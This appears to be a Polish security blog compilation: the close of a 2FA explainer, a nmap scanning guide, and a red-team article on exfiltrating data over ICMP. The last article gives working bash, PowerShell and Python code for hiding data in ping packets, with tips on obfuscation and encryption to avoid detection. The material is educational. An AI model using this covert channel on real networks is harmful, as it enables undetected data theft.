Dzięki rozwiązaniom takimi jak Google Authenticator, Authy albo KeePassXC, metoda staje się jeszcze bezpieczniejsza, ponieważ wykorzystują one technologię TOTP (Time-based One Time Password). W skrócie, podczas powiązania naszego konta z aplikacją należy zeskanować kod QR lub przepisać kod. Po pomyślnym zaimportowaniu klucza współdzielonego, następuje proces wyliczania hasła.

Schemat TOTP.

Jeśli serwer i klient zgadzają się co do czasu oraz posiadają ten sam klucz współdzielony, to ich wypadkowa (skrót kryptograficzny) będzie taka sama. Dzięki temu, urządzenia nie muszą być ze sobą bezpośrednio połączone, aby móc generować bezpieczne kody.

Powiadomienia push

Materiał reklamowy Apple nt. powiadomień push 2FA. [ŹRÓDŁO]

Inną implementacją jest proste powiadomienie, mówiące o próbie zalogowania się na konto. Rozwijając je, ujrzymy opcje akceptacji lub odrzucenia tego żądania. Najczęściej dodawana jest też przybliżona lokalizacja, z jakiej nastąpiło połączenie do naszego konta.

W tym przypadku, metoda ta ułatwia życie. Jeśli często logujemy się na różnych urządzeniach i chcemy zyskać na czasie, nie otwierając za każdym razem aplikacji i wpisując kod, wystarczy kliknąć powiadomienie.

Klucze bezpieczeństwa

Materiał reklamowy Yubico prezentujący cały asortyment kluczy bezpieczeństwa. [ŹRÓDŁO]

Kolejnym wariantem są fizyczne klucze, czyli w praktyce zatopione w wytrzymałym plastiku komponenty elektroniczne, przetwarzające zaawansowane algorytmy kryptograficzne. Posiadają one również płytkę przewodzącą lub inny element wymagający interakcji, do którego przykładamy palec w celu potwierdzenia naszej fizycznej obecności. Podczas logowania po wpisaniu loginu i hasła, jesteśmy proszeni o włożenie urządzenia do portu USB i jego dotknięcie. Dla ciekawskich, dlaczego sprzętowe rozwiązania są uznawane za bardziej bezpieczne, o czym więcej tutaj.

Występują one w wielu wariantach - od takich, które trzeba fizycznie podłączyć, inne, rozszerzone o komunikację NFC do korzystania z nich także przy potwierdzaniu swojej tożsamości w telefonie, jak i takie, łączące te opcje w jedną np. połączenie USB, NFC i Bluetooth. Proces tworzenia takiego urządzenia jest skrupulatnie kontrolowany od samego początku, aby zapewnić bezpieczeństwo w całym łańcuchu dostaw.

Kody zapasowe

Kody zapasowe w serwisie Instagram. [ŹRÓDŁO]

Podczas konfigurowania 2FA serwisy udostępniają i proponują zapisać specjalnie wygenerowane kody, z których możemy skorzystać, jeśli nie mamy dostępu do ustawionej metody uwierzytelnienia. W przypadku utraty telefonu możemy z nich skorzystać w celu odzyskania dostępu do konta i ustawienia nowej metody 2FA. Bardzo ważne jest, aby przechowywać je w bezpiecznym miejscu - fizycznie lub cyfrowo - pamiętając o ich dodatkowej kopii.

Dlaczego SMS odchodzi w zapomnienie

Implementacja mechanizmu 2FA za pomocą wiadomości SMS stała się mniej bezpieczna. Przy tak ważnych operacjach, jakie można wykonywać na np. koncie internetowym banku, nie mogą sobie one pozwolić na słabe punkty.

Przekonała się o tym firma Cloudflare w 2012 roku. Atakujący umiejętnie przekierowywali wiadomości poczty głosowej, co poskutkowało koniec końców uzyskaniem dostępu do administracyjnego konta e-mail. Więcej szczegółów, jak cały atak wyglądał, można przeczytać na ich blogu.

Komunikacja w sieciach GSM pomiędzy telefonem, a stacją bazową jest słabo-szyfrowana (jeśli w ogóle). W sieciach od 3G poprzez 4G jest to rozwiązane poprzez wymóg wzajemnego uwierzytelnienia obu komponentów. Możliwe jednak nadal jest wymuszenie na urządzeniu przejścia do technologii GSM - tutaj do akcji wkracza IMSI Catcher.

Jest to urządzenie pozwalające przechwytywać komunikaty, którymi wymienia się telefon ze stacją. Przeprowadzając atak MITM (Man In The Middle), udaje prawdziwą stacje, do której klient będzie próbował się połączyć. Rozgłasza swoją obecność wokół i czeka na połączenia od ofiar (w uproszczeniu).

Drugą, teoretycznie prostszą metodą do wykonania jest wyrobienie duplikatu karty SIM. Należy jednak wspomnieć, że operatorzy telekomunikacyjni są co raz bardziej na nią wyczuleni i podchodzą do takiej prośby z większą uwagą. Przestępca może podać się za ofiarę i wystąpić do operatora w celu otrzymania drugiej karty przypisanej do danego numeru. W tym scenariuszu zakładamy, że atakujący ma już dostęp do konta bankowego ofiary. Gdy aktywuje on uzyskaną kartę na swoim telefonie, prawowity właściciel traci zasięg na swoim telefonie - w tym momencie ofiara nie jest w stanie korzystać ze swojej karty SIM. Od tej chwili to przestępca otrzymuje wszystkie połączenia i SMS, nieprzeznaczone dla niego. Mając dostęp do konta, zleca on przelew i otrzymuje kod poprzez SMS, po wpisaniu którego bank weryfikuje transakcję. Z tego powodu dostęp do np. konta bankowego powinien być potwierdzany za pomocą aplikacji.

Jakie serwisy i w jaki sposób wspierają 2FA

Dwuskładnikowe uwierzytelnianie sporo zyskało na popularności na przestrzeni ubiegłych lat. Dzisiaj brak jego implementacji na stronie jest oznaką nieprofesjonalnego podejścia do bezpieczeństwa danych użytkowników, gdyż uważa się to za standard. Tutaj możemy łatwo sprawdzić jakie metody 2FA oferują konkretne serwisy.

Menadżery haseł

Materiał reklamowy usługi Dropbox Passwords. [ŹRÓDŁO]

Poza stosowaniem Two-factor authentication, możemy w szybki i łatwy sposób dodatkowo zwiększyć bezpieczeństwo naszych kont, korzystając z menadżerów haseł. Są to programy, zbierające wszystkie nasze dane logowania w jedno miejsce, do którego mamy dostęp poprzez hasło główne, dzięki czemu musimy pamiętać tylko je oraz możemy zachowywać ogólno przyjęte zalecenia co do długości, zawartości i unikalności haseł.

Do najpopularniejszych obecnie rozwiązań należą KeePass, LastPass, Dashlane albo 1Password. Dla tych już poważniej myślących polecam zrobić swój research, gdyż różnych opcji jest wiele i każda posiada swoje funkcjonalności. Tutaj coś na start Waszych poszukiwań.

Takie rozwiązanie zwiększa bezpieczeństwo, gdyż nie korzystamy z tego samego hasła na wielu stronach. Problem wymyślania nowych danych logowania możemy zrzucić na narzędzie, które wygeneruje i zapisze bardzo długą (w końcu nie musimy się ograniczać) kombinację dużych/małych liter, cyfr i znaków specjalnych. Większość takich rozwiązań ma również wtyczki do przeglądarek, które automatycznie uzupełniają pola logowania.

Podsumowanie

Osobiście korzystam z kombinacji 2FA z kluczem bezpieczeństwa i wbudowanym menadżerem Apple Keychain, który po potwierdzeniu biometrycznym, automatycznie wpisuje hasło i pozwala przejść dalej. Dodatkowo, jeśli wybierzecie klucz marki Yubico, macie możliwość połączenia funkcjonalności klucza z aplikacją - kody zostaną wygenerowane tylko po jego interakcji z urządzeniem, dodając kolejną warstwę ochrony.

Tak jak wcześniej wspomniałem najłatwiejszą na początek opcją jest rozwiązanie oparte na technologii TOTP. Działa ono offline oraz jest rozwiązaniem bezpieczniejszym w porównaniu do SMS. Osobiście polecam Authy, gdyż według mnie oferuje dużo wygodniejszą obsługę wielu urządzeń. W związku z tym kody mogą być generowane np. na komputerze lub na innej wspieranej platformie.

Kompendium wiedzy - nmap

Fri, 26 Jun 2020 00:00:00 +0000

Jest to jedno z najpopularniejszych narzędzi wykorzystywanych do skanowania sieci. Poza wykrywaniem hostów, również dobrze spisuje się w wykrywaniu popularnych usług oraz systemów operacyjnych na jakich pracują skanowane maszyny. Narzędzie daje nam do wyboru wiele rodzajów skanowania, wybór zależy oczywiście od indywidualnego przypadku, w zależności czy bardziej zależy nam na czasie, czy jednak wolimy nie być “odrzuceni” przez zaporę. Dla miłośników okienek istnieje graficzna wersja Nmapa - Zenmap. Jeśli interesuje nas skanowanie większej sieci, a sam proces skanowania możemy uruchomić na kilku hostach jednocześnie to przydatny może okazać się tutaj dnmap.

Nmapa możemy znaleźć na Kali Linux, jeśli jednak korzystamy z innego systemu operacyjnego (inna dystrybucja Linuxa, Mac OS, Windows) to nic nie stoi na przeszkodzie, aby i tu zainstalować to narzędzie. Dokładne instrukcje jak przeprowadzić ten proces znajdziemy na oficjalnej stronie narzędzia.

Należy pamiętać, że skanowanie urządzeń w sieci, bez zgody właściciela jest niezgodne z prawem. Do nauki najlepiej korzystać z lokalnego środowiska lub stron, które pozwalają na skanowanie, czasem po spełnieniu pewnych warunków np. scanme.nmap.org.

Wykrywanie hostów w sieci

Podstawowe użycie Nmapa wymaga od nas podania jedynie adresu, np.

nmap 192.168.10.10

Tutaj Nmap wykonuje skanowanie hostów, połączone z wykrywaniem dostępnych usług. Gdy chcemy ograniczyć się tylko do wykrycia aktywnych hostów, wystarczy przełącznik -sn.

Istnieje też tzw. agressive mode. W tym trybie wykrywane są hosty, porty, usługi i systemy operacyjne. Dodatkowo uruchamianych jest kilka skryptów Nmapa, należących do kategorii default.

nmap -A 192.168.10.10

Sposób wskazywania adresów

Listę adresów do przeskanowania możemy podać na kilka sposobów:

nmap 192.168.10.10 192.168.10.11
nmap 192.168.10.1-10
nmap 192.168.10.0/24
nmap scanme.nmap.org
nmap -iL scan-ip.txt

Ponad to możemy również wykluczyć pewne adresy (np gdy skanujemy całą podsieć):

nmap 192.168.10.0/24 --exclude 192.168.10.5
nmap 192.168.10.0/24 --excludefile excluded-ip.txt

Techniki wykrywania hostów

Domyślnie Nmap w celu zwiększenia skuteczności, korzysta z kilku metod skanowania hostów. Oczywiście my sami również możemy sprecyzować z jakich metod chcemy skorzystać. Oto najpopularniejsze z nich:

ICMP, -PE

Metoda bazuje na wysłaniu komunikatów ICMP Echo Request, powszechnie wykorzystywanych podczas diagnostyki sieci np. w poleceniu ping. Host, który otrzyma takie żądanie, musi na nie odpowiedzieć. W niektórych sieciach ze względów bezpieczeństwa te komunikaty mogą być zablokowane.

Protokół ICMP jest stosowany głównie w celach kontrolnych. Odpowiednie komunikaty ICMP są wysyłane gdy TTL pakietu osiągnie 0 i pakiet musi zostać porzucony przez router. Protokół jest również wykorzystywany przez polecenie tracert/traceroute służące do uzyskania informacji, adresów IP urządzeń na trasie pakietu między hostami.

Ósmy przechwycony pakiet jest odpowiedzią hosta na nasz wysłany pakiet ICMP Echo Request (pakiet 7), uzyskana odpowiedź wskazuje na nam, że dany host jest aktywny.
ARP, -PR

Ten sposób opiera się na wysyłaniu komunikatów ARP Request, służących do ustalenia MAC urządzenia o podanym w zapytaniu adresie IP. Nmap domyślnie wykorzystuje to rozwiązanie, ze względu na fakt, że jest najszybszą i najbardziej skuteczną metodą wykrywania hostów w sieciach lokalnych. Jeśli na nasze zapytanie ARP otrzymamy odpowiedź to znaczy, że w sieci istnieje host o danym adresie IP. ARP może być użyty jedynie do skanowania sieci lokalnych, gdzie jest używany. Działanie tego protokołu jest niezbędne do zapewnienia poprawnej komunikacji w sieci lokalnej.

W sieciach lokalnych do wykrywania aktywnych hostów domyślnie jest wykorzystywany protokół ARP, dlatego użycie przełącznika -PR jest praktycznie zbędne. 51 przechwycony pakiet w Wiresharku jest odpowiedzią na rozgłoszenie ARP, które zawiera pakiet numer 50.
TCP, -PS, -PA

Tutaj korzystamy z procesu uzgadniania trójetapowego (3-way handshake), które ma miejsce podczas nawiązywania połączenia między hostami, wykorzystując połączeniowy protokół TCP.

Przełącznik -PS wysyła pakiet TCP z flagą SYN na wskazany port, domyślnie jest to port 80. Jeśli jakaś usługa nasłuchuje na danym porcie to odpowie nam flagami SYN/ACK, czasami jeśli port nie może odebrać połączenia odpowie nam flagą RST. Każda odpowiedź od hosta wskazuje nam, że jest on aktywny. Metoda sprawdza się dobrze gdy próbujemy skanować pod kątem serwerów udostępniających wybrane usługi. Jednak niekoniecznie dobrze działa podczas wykrywania hostów, które nie świadczą żadnych usług w sieci, w takim przypadku możemy nawet nie uzyskać odpowiedzi w postaci flagi RST.

Na załączonym zrzucie ekranu można zaobserwować odpowiedź serwera(pakiet 14) na wysłany jako odpowiedź na próbę nawiązania połączenia(pakiet 12), która następnie jest zrywana, flagą RST(pakiet 15).

Dla przełączników PS, PA, PU można wskazywać listę portów. Przykładowo użycie przełącznika -PS20-23,53,80,443 skutkuje wysłaniem pakietu TCP z flagą SYN, na porty 20,21, 22, 23, 53, 80, 443.

Wykorzystanie przełącznika -PA, powoduje wysłanie pakietu TCP z flagą ACK, która normalnie jest odpowiedzią na flagę SYN-ACK. Tutaj pojawia się małe oszustwo z naszej strony, ponieważ nigdy nie inicjowaliśmy połączenia TCP. Skanowany host otrzymując potwierdzenie nawiązania połączenia z innym hostem, z którym nie nawiązywał wcześniej sesji, zazwyczaj przerywa/zrywa takie połączenie flagą resetu - RST.
UDP, -PU

Ta metoda polega na wysłaniu pakietu UDP na dany port. Ze względu na fakt, że UDP jest protokołem bezpołączeniowym, to o braku dostępności danego portu poinformuje nas inny protokół - ICMP, a dokładnie ICMP Destination Unreachable.

Jak można zauważyć, po próbie nawiązania połączenia, odpowiedzią jest pakiet ICMP Destination Unreachable, który informuje nadawcę, że dany port jest nieosiągalny lub najprawdopodobniej żadna aplikacja na nim nie nasłuchuje i jest on zamknięty.

Jeśli chcemy przeanalizować w jaki sposób działają poszczególne techniki warto skorzystać z Wiresharka, popularnego sniffera, który pozwala nam na przechwytywanie i późniejsze analizowanie pakietów.

Jeśli taką obserwację chcemy przeprowadzić w ramach sieci lokalnej to musimy pamiętać o dodaniu przełącznika --disable-arp-ping. Dzieje się tak dlatego, że zazwyczaj wysyłanie zapytań ARP jest najszybszą i najskuteczniejszą metodą wykrywania hostów w sieciach lokalnych. W ramach sieci lokalnej Nmap domyślnie pomija inne opcje, które nie są aż tak skuteczne. Wskazany wyżej przełącznik wymusza mimo wszystko wykorzystanie innej metody wykrywania hostów. Często i tak sprowadza się to do wysłania zapytania ARP w celu uzyskania adresu MAC urządzenia o danym adresie IP, a później wysłania przykładowo TCP SYN, w przypadku użycia przełącznika -PS. Jednak jeśli ktoś woli przeprowadzać analizę pakietów w ramach sieci lokalnej to nic nie stoi na przeszkodzie, aby mimo wszystko ją przeprowadzić.

Bez wyraźnego wskazania, z jakich metod wykrywania hostów chcemy skorzystać nmap, dla hostów zdalnych domyślnie wyśle ICMP Echo Request (5), TCP SYN na port 443 (6), TCP ACK na port 80 (7) i ICMP Timestamp (8), który nie został omówiony.

Wiadomo, że numer portu źródłowego pakietu, generowanego przez Nmapa wybierany jest losowo z zakresu portów należących do grupy dynamic/private. Może się zdarzyć sytuacja, że ruch pochodzący od tego typu pakietów będzie filtrowany przez firewalla. Z pomocą może przyjść nam tutaj przełącznik --source-port, który zmienia numer portu źródłowego na ten wskazany przez nas. Dobrym pomysłem może być tutaj użycie portu 53, na którym powszechnie uruchomiona jest usługa DNS.

Jeśli chcemy podnieść naszą skuteczność w wykrywaniu hostów, dobrym rozwiązaniem jest połączenie kilku metod. Dosyć stary przegląd strategii wykrywania hostów możemy znaleźć w dokumentacji narzędzia.

Więcej o wykrywaniu hostów.

Wykrywanie otwartych portów i usług

Wykrywanie otwartych portów to nic innego jak sprawdzanie w jakim stanie znajdują się poszczególne porty. Nmap wyróżnia 6 stanów, do których przyporządkowuje porty w zależności od wykorzystanej techniki i otrzymanej odpowiedzi. Najpopularniejsze stany:

open - port akceptuje datagramy UDP lub połączenia TCP, np. kontynuuje rozpoczęty 3-way handshake. Wskazuje również, że na tym porcie nasłuchuje jakaś usługa.
closed - port odpowiada na pakiety, jednak żadna aplikacja nie nasłuchuje na tym porcie
filtered - narzędzie nie jest w stanie określić czy port jest otwarty. Zazwyczaj jest to spowodowane fitrowaniem ruchu na poziomie firewalla

Wyróżniamy jeszcze stany takie jak:

unfiltered
open|filtered
closed|filtered

W przypadku otrzymania 3 powyższych stanów, zaleca się wykonać ponowny skan wykorzystujący inną metodę wykrywania otwartych portów, w celu uzyskania lepszych rezultatów. Podrzucam link do ciekawego artykułu opisującego stany portów.

Do określenia stanu portu Nmap wykorzystuje rozmaite techniki, których dokładniejszy opis mógłby być tematem osobnego artykułu. Ograniczę się do wymienienia i krótkiego opisu kilku z nich:

TCP SYN, -sS - polega na wysłaniu pakietu TCP z ustawioną flagą SYN, na podstawie odpowiedzi serwera narzędzie przypisuje odpowiedni stan dla testowanego portu.
TCP ACK, -sA - wysyłamy pakiet TCP z flagą ACK, podobnie jak w przypadku przełącznika -PA. Ta metoda może służyć do określenia typu firewalla, który może znajdować się w sieci. Zazwyczaj na firewallu blokowana jest możliwość nawiązywania połączeń rozpoczynanych przez hosty pochodzące z Internetu (czyli przychodzących pakietów TCP SYN). Problem zaczyna się gdy, do naszej sieci przychodzi pakiet TCP z ustawioną flagą ACK. Bezstanowy firewall(stateless firewall) nie ma możliwości ocenienia czy dany pakiet jest częścią nawiązanego wcześniej połączenia czy nie. Sytuacja wygląda inaczej w przypadku stanowego firewallu, który nie będzie miał problemu z określeniem, że przychodzący pakiet nie jest częścią żadnego ustanowionego wcześniej połączenia. Z tego też względu stanowy firewall wykorzystuje do swojej pracy znacznie więcej zasobów.
TCP Connect, -sT - metoda polegająca na nawiązaniu zwykłego połączenia, wykonaniu całej procedury 3-way handshake, a następnie zerwaniu nawiązanego połączenia
UDP, -sU - wykorzystywane do wykrywania portów, na których aplikacje nasłuchują pakietów UDP. Ta metoda skanowania jest znacznie dłuższa niż skanowanie pod kątem portów TCP.

Domyślnie narzędzie skanuje 1000 najpopularniejszych portów. Możemy również jawnie wskazać, które porty trzeba przeskanować za pomocą przełącznika -p.

-p 22 - pojedynczy port
-p 20-22 - zakres portów
-p 22,23,80
-p 20-25,80
-p- - wszystkie porty

Gdy Nmap określi, że dany port jest otwarty, podejmuje próbę “zgadnięcia” nazwy danej usługi, porównując ją z portem. Odwzorowanie port-usługa znajduje się w pliku /usr/share/nmap/nmap-services. Możemy pójść krok dalej i spróbować określić wersję danej usługi. W tym przypadku Nmap porównuje pewne uzyskane dane np. banner(sposób przedstawiania się usługi) z próbkami w pliku /usr/share/nmap/services-probes. Za pomocą przełącznika -sV narzędzie próbuje jeszcze wykryć wersję usługi.

nmap -sV 192.168.10.10

Wykrywanie systemu operacyjnego

Kolejna ciekawą i wartą poznania funkcją w Nmapie jest OS fingerprinting. Zadanie to polega wykryciu wersji lub rodzaju systemu operacyjnego. W określeniu systemu pomagają różnice między implementacjami protokołów, które często wynikają z niejasności opisujących je dokumentów RFC. Nmap do wykrycia tych różnic wysyła specjalnie przygotowane próbki TCP, UDP i ICMP.

Skuteczność OS fingerprinting daje znacznie lepsze rezultaty, gdy Nmap znajdzie chociaż jeden otwarty i zamknięty port.

Najbardziej widoczne różnice w implementacji stosu TCP/IP to rozmiar ramki i domyślna wartość TTL.

Nic nie stoi na przeszkodzie, aby samemu napisać krótki skrypt, który w podstawowy sposób “zgaduje” wersję systemu analizując wartość TTL w sieci lokalnej. Dla przykładu poniżej skrypt w pythonie, opierający się na wartości pola TTL.

import pyping
import sys

print "Pinging " + sys.argv[1]
res = pyping.ping(sys.argv[1], udp=True)
res = res.output[1]

print res
ttl = res.split()[-3]
ttl = ttl.split('=')[-1]

if ttl == '128':
 print "System: Windows"
elif ttl == '64':
 print "System: Linux / Unix"
elif ttl == '254':
 print "System: Solaris / AIX"
else:
 print "Unknown OS"

Należy pamiętać, że część wartości można zmienić w systemie, więc nigdy nie powinniśmy być pewni uzyskanego wyniku. To tylko podstawowe wykrywanie systemu - bardziej szczegółowe wartości TTL dla systemów można znaleźć tutaj. Sam Nmap opiera się na wielu dodatkowych parametrach - pełną informację o nich możecie znaleźć w dokumentacji nmapa. Do uruchomienia Nmapa w trybie skanowania z próbą wykrycia systemu operacyjnego wystarczy poniższe polecenie.

nmap -O 192.168.10.10

Porównując ten screen do poprzedniego pojawiają się nam następujące pola:

Device type - na podstawie zebranych odcisków urządzenie jest przyporządkowane do odpowiednich grup tj. router, printer, general purpose.
Running - jeśli jest możliwe to tutaj podawana jest rodzina i wersje systemów operacyjnych. Prezentowane tutaj wartości są predefiniowane
OS CPE - przedstawienie wykrytej wersji OS w formacie CPE(Common Platform Enumeration), czyli ustrukturyzowanym sposobie nazywania oprogramowania
OS details - w tym miejscu znajdują się najważniejsze informacje, w których można odnaleźć dodatkowe określenia modelu urządzenia i wykorzystywanej architektury, lecz nie znajdują się w nich żadne predefiniowane wartości.
Network Distance - liczba przeskoków, które trzeba wykonać, aby osiągnąć skanowane urządzenie. Podobne rezultaty zwróci polecenie traceroute/tracert. 1 przeskok oznacza że urządzenie znajduje się w sieci lokalnej, co można było też zaobserwować po adresie IP należącym do grupy prywatnych. 0 przeskoków oznacza, że skanujemy sami siebie. To pole nie jest zawsze dostępne.

Ze względu na wysyłanie przygotowanych próbek, Nmap jest klasyfikowany jako active OS fingerprinting. Istnieją także programy, które starają się wykryć wersję OS bez generowania pakietów, przechwytują i analizują pakiety, których źródłem lub celem jest wybrany host. Takie programy zaliczamy do passive OS fingerprinting, przykładem takiego narzędzia jest p0f.

Zapisywanie wyników

Najpopularniejsze formaty zapisu wyników działania programu:

plik tekstowy -oN
xml -oX - może być konwertowany do raportu HTML, ten typ zapisu może ułatwić możliwość zapisów wyników do bazy danych. Ze względu na popularność i strukturę, może być łatwo parsowany i przetwarzany przez skrypty i programy.
grepable -oG - format przyjazny do szybkiego manipulowania wynikami za pomocą narzędzi takich jak grep i awk.

Zapisywanie rezultatów swojej pracy jest bardzo ważne, pozwala nie tylko przeglądać wyniki skanowania sieci, ale również umożliwia wznowienie przerwanej pracy, za pomocą przełącznika --resume. Od Nmapa 7.40 jest to również dostępne dla formatu XML.

Szybkość pracy

W zależności od celu i typu skanowanej sieci Nmap wyróżnia 6 trybów intensywności pracy, zwanymi również szablonami skanowania. Tryby określane są za pomocą przełączników od -T0 do -T5, -T3 jest to domyślna intensywność skanowania. Parametry T0 i T1 spowodują również, że skan będzie wykonywany znacznie wolniej niż przy innych opcjach, jednak te opcje mogą być pożądane jeśli chcemy zminimalizować ryzyko wykrycia przez IDS.

NSE - Nmap Scripting Engine

Nmap posiada wbudowany silnik, umożliwiający tworzenie swoich własnych skryptów. Obecnie w Nmap znajduje się prawie 600 skryptów. Istnieje również możliwość pobrania skryptów przygotowanych przez innych użytkowników. Skrypty pozwalają na uzyskanie dodatkowych informacji o usługach, mogą oferować prosty skaner podatności, próbę wykorzystania znalezionych luk, przeprowadzania ataków bruteforce na pewne usługi, czy enumerację DNS.

Poniżej widoczny jest skrypt NSE, który zwróci w odpowiedzi rekord z bazy WHOIS, dotyczący wyszukiwanej domeny.

nmap -sn --script whois-domain nmap.org

Do uzyskania informacji o skrypcie wystarczy przełącznik --script-help.

nmap --script-help whois-domain

Skrypty znajdują się w katalogu /usr/share/nmap/scripts.

Podsumowanie

Nmap jest jednym z najpopularniejszych narzędzi do przeprowadzania rekonesansu sieciowego dla pentesterów, jednak z powodzeniem może być również wykorzystywany przez administratorów. Dzięki rozbudowanym możliwościom i opcjom to doskonałe narzędzie nie tylko do wykrywania aktywnych hostów i skanowania portów, ale również do rozpoznawania usług i systemów operacyjnych na skanowanych hostach. Pozwala także na rozpoznawanie usług i systemów operacyjnych na skanowanych hostach. Kolejną jego siłą jest możliwość rozszerzania możliwości poprzez wykorzystywanie rozbudowanych skryptów NSE. Ze względu na ogromne możliwości jakie oferuje Nmap, czas poświęcony na poznawanie tego narzędzia nigdy nie będzie czasem straconym.

Biblioteczka:

https://www.nastykusieci.pl/arp-podstawy/

https://emvi.eu.org/icmp/index3.html

https://sekurak.pl/nmap-i-12-przydatnych-skryptow-nse/

http://securitysynapse.blogspot.com/2013/08/refining-your-nmap-scan-strategy.html

https://www.hackingarticles.in/comprehensive-guide-on-nmap-port-status/

https://nmap.org/book/osdetect-methods.html

https://nmap.org/book/port-scanning-options.html

Eksfiltracja po ICMP

Fri, 15 May 2020 00:00:00 +0000

W tym artykule przyjrzymy się mniej powszechnej technice eksfiltracji danych z użyciem protokołu ICMP, którego używa m.in. program ping.

W dziedzinie testów penetracyjnych (czyli testów zabezpieczeń) rozróżnia się tzw. Red team oraz Blue team, drużyny atakujących (np. testerów penetracyjnych) i obrońców (np. administratorów). Na potrzeby tego tekstu nazwijmy ich Czerwonymi oraz Niebieskimi.

Eksfiltracja - z czym to się je?

Eksfiltracja w dziedzinie bezpieczeństwa to wyciąganie danych z jakiegoś miejsca. Oczywiście w tej branży to miejsce z reguły nie jest przeznaczone, by wszyscy chętni się za to zabierali.

Standardowe sposoby

Często jednak gospodarz nawet nie wie, że eksfiltracja się odbywa. Czerwoni zawsze starają się wykorzystać techniki, które przechodzą tuż pod radarem Niebieskich. Przykładowo - dobrze wiadomo, że ruch UDP/TCP z komputera powinien być wnikliwie monitorowany, by udaremnić wysłanie za jego pośrednictwem wrażliwych informacji. Utworzenie tzw. Reverse shell (zdalnej linii komend, za której pomocą haker może kontrolować komputer bez wiedzy właściciela) jest banalnie proste z użyciem dowolnego oprogramowania (sprawdźcie ten link), które jest w stanie wysyłać i odbierać ruch UDP/TCP.

Powiedzmy, że ruch jest zakodowany niekonwencjonalnymi sposobami lub szyfrowany i nie będzie widoczny niewprawnym okiem tak jak w poniższym przykładzie:

W dalszym ciągu ruch standardowych pakietów TCP/UDP musi odbyć się na nieużywanym porcie maszyny. Jest to stosunkowo łatwiejsze do wykrycia jako odstępstwo od normy. Szczególnie podejrzanie dla administratorów wyglądają otwarte porty o wysokich numerach jak np. 55555. Z drugiej strony wystawienie usługi na takim porcie jest często pomijane przez szybkie skany z zewnątrz.

Inną sprawą jest to, że trzeba najpierw taką eksfiltrację ustawić. Wirus tworzący zdalną linię poleceń może być dostarczony w różny sposób (phishing, zdalne wykonanie kodu itd.), ale musi zostać najpierw uruchomiony. Przy użyciu znanych i lubianych technik może być to zablokowane przez tak podstawowego antywirusa, jak Windows Defender.

Eksfiltruj po ICMP!

Patrząc z perspektywy Czerwonych - jak w takim razie doprowadzić do eksfitracji danych? Dobrze jest używać technik, które nie zdążyły jeszcze spowszednieć, bądź są stosunkowo ciężkie do zablokowania. Jedną z nich jest ruch odbywający się z użyciem protokołu ICMP. Nie wchodząc w szczegóły - protokół ICMP to popularne od zarania Internetu narzędzie służące do diagnostyki sieci (ping) i ustalanie tras pakietów (traceroute, mtr).

W jaki sposób jest to przydatne / niebezpieczne? Otóż w protokole ICMP można przemycić dodatkowe dane, nawet z użyciem standardowego programu ping. To o tyle ciekawe medium, że ruch ICMP to coś, co spodziewamy się zobaczyć w sieci. Nie potrzeba definiować portu, poprzez który następuje komunikacja (do protokołu ICMP nie ma przypisanego portu TCP/UDP - gdyż nie odbywa się on w warstwie 3 (transportowej), ale 2 (internetowej) modelu TCP/IP).

W wielu miejscach również łatwo zapomnieć o blokadzie z pozoru niegroźnego ruchu ICMP. Raczej nie znajdzie się go dozwolonego na firewall’ach Internetowym poważniejszych firm, ale prawdopodobnie będzie on dozwolony w sieci wewnętrznej.

Jak wygląda zwykły pakiet ICMP?

Jak widać, sam pakiet nie jest wielki i zawiera w sobie dane, które na tłumaczone na ASCII wyglądają jak losowe znaki. Warto zwrócić uwagę na filtr w tcpdump:

icmp[icmptype] == 8.

ICMP typu 8 to ICMP Echo request - zapytanie wysłane przez program PING, odpowiedzią na nie (tzw. PONG) jest ICMP Echo Reply (typ 0). To jedyne 2 typy wiadomości ICMP, używane przez program PING i dlatego tylko one będą nas interesować. Jak więc wygląda wysyłanie odbieranie danych po ICMP?

Przykłady poniżej:

Bash

# Wysyłaj
ping -p "$(xxd -pu <<< "hello")" localhost

# Odbieraj
tcpdump -nni lo -e icmp[icmptype] == 8 -lA -s 0

Zwróćcie tutaj uwagę na argument po parametrze -i - jest nim interfejs sieciowy lo, czyli loopback. Jest to wirtualny interfejs, który komputer wykorzystuje do rozmawiania z samym sobą. Tutaj będą trafiać zapytania na adres localhost / 127.0.0.1. W przypadku zapytań z innego komputera trzeba wybrać interfejs sieciowy, który będzie je obsługiwał (eth0 / wlan0 / ens3 / en0 itd.).

W przypadku interfejsu podpiętego do Internetu możliwe, że traficie tam na dużo zapytań z innych maszyn, które będą zaciemniać obraz, można je filtrować z użyciem filtrów tcpdumpa np.

tcpdump -nni ens3 -e icmp[icmptype] == 8 and not net 167.114.37.1 -lA

Powershell

# Wysyłaj
$ICMPClient = New-Object System.Net.NetworkInformation.Ping
$buff = ([text.encoding]::ASCII).GetBytes("hello")
$ICMPClient.Send('localhost', 10, $buff, $null) | Out-Null

Python

## Odbieraj
import socket

def listen():
 s = socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_ICMP)
 s.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1)
 while 1:
 data, addr = s.recvfrom(1508)
 print("Packet from %r: %r" % (addr,data))

listen()

Do stworzenia klienta ICMP z poziomu pythona oczywiście można wykorzystać wiele gotowych bibliotek takich jak np. pythonping. Niestety mają one jedną zasadniczą wadę nad wykorzystaniem basha lub powershella - wysłanie pakietu ICMP wymaga tam uprawnień administratora.

Jest to jednak do obejścia natywnie, w samym pythonie, z trochę większą ilością kodu - dobrym przykładem jest skrypt dostępny tutaj, który łatwo można dostosować by wysyłał również dodatkowe dane w pakiecie ICMP.

Dalej w las

Jak widać samo wysłanie / otrzymanie informacji kanałem ICMP jest dosyć proste. Oczywiście, to tylko baza pod pełną komunikację. Jakie problemy czekają nas ze skryptami powyżej? Problemy każdej komunikacji:

Dzielenie pakietów - pojedynczy pakiet ICMP może zawierać co najwyżej 576 bajtów dodatkowych danych, dlatego każdy dłuższy String potrzebujemy podzielić, by wysłać go w wielu pakietach i składać informacje razem przy odbiorze.
Utrata pakietów - ICMP nie używa protokołu TCP, więc nie ma żadnej gwarancji, że pakiety dotrą na miejsce. Szybkim, lecz prymitywnym rozwiązaniem jest wysyłanie każdego pakietu kilkukrotnie, szczególnie gdy jako Czerwoni chcemy wyciągnąć trochę danych. Bardziej zaawansowanym rozwiązaniem, jest implementacja prostych kodów korekcyjnych i w razie błędu wysłanie pakietu jeszcze raz.
Wysyłanie danych czystym tekstem - jest to oczywiście łatwe do zauważenia podczas monitorowania sieci. Minimalną formą obfuskacji wysyłanych danych powinno być kodowanie danych (np. base64), a trudniejszą do wykrycia szyfrowanie danych (np. AES).
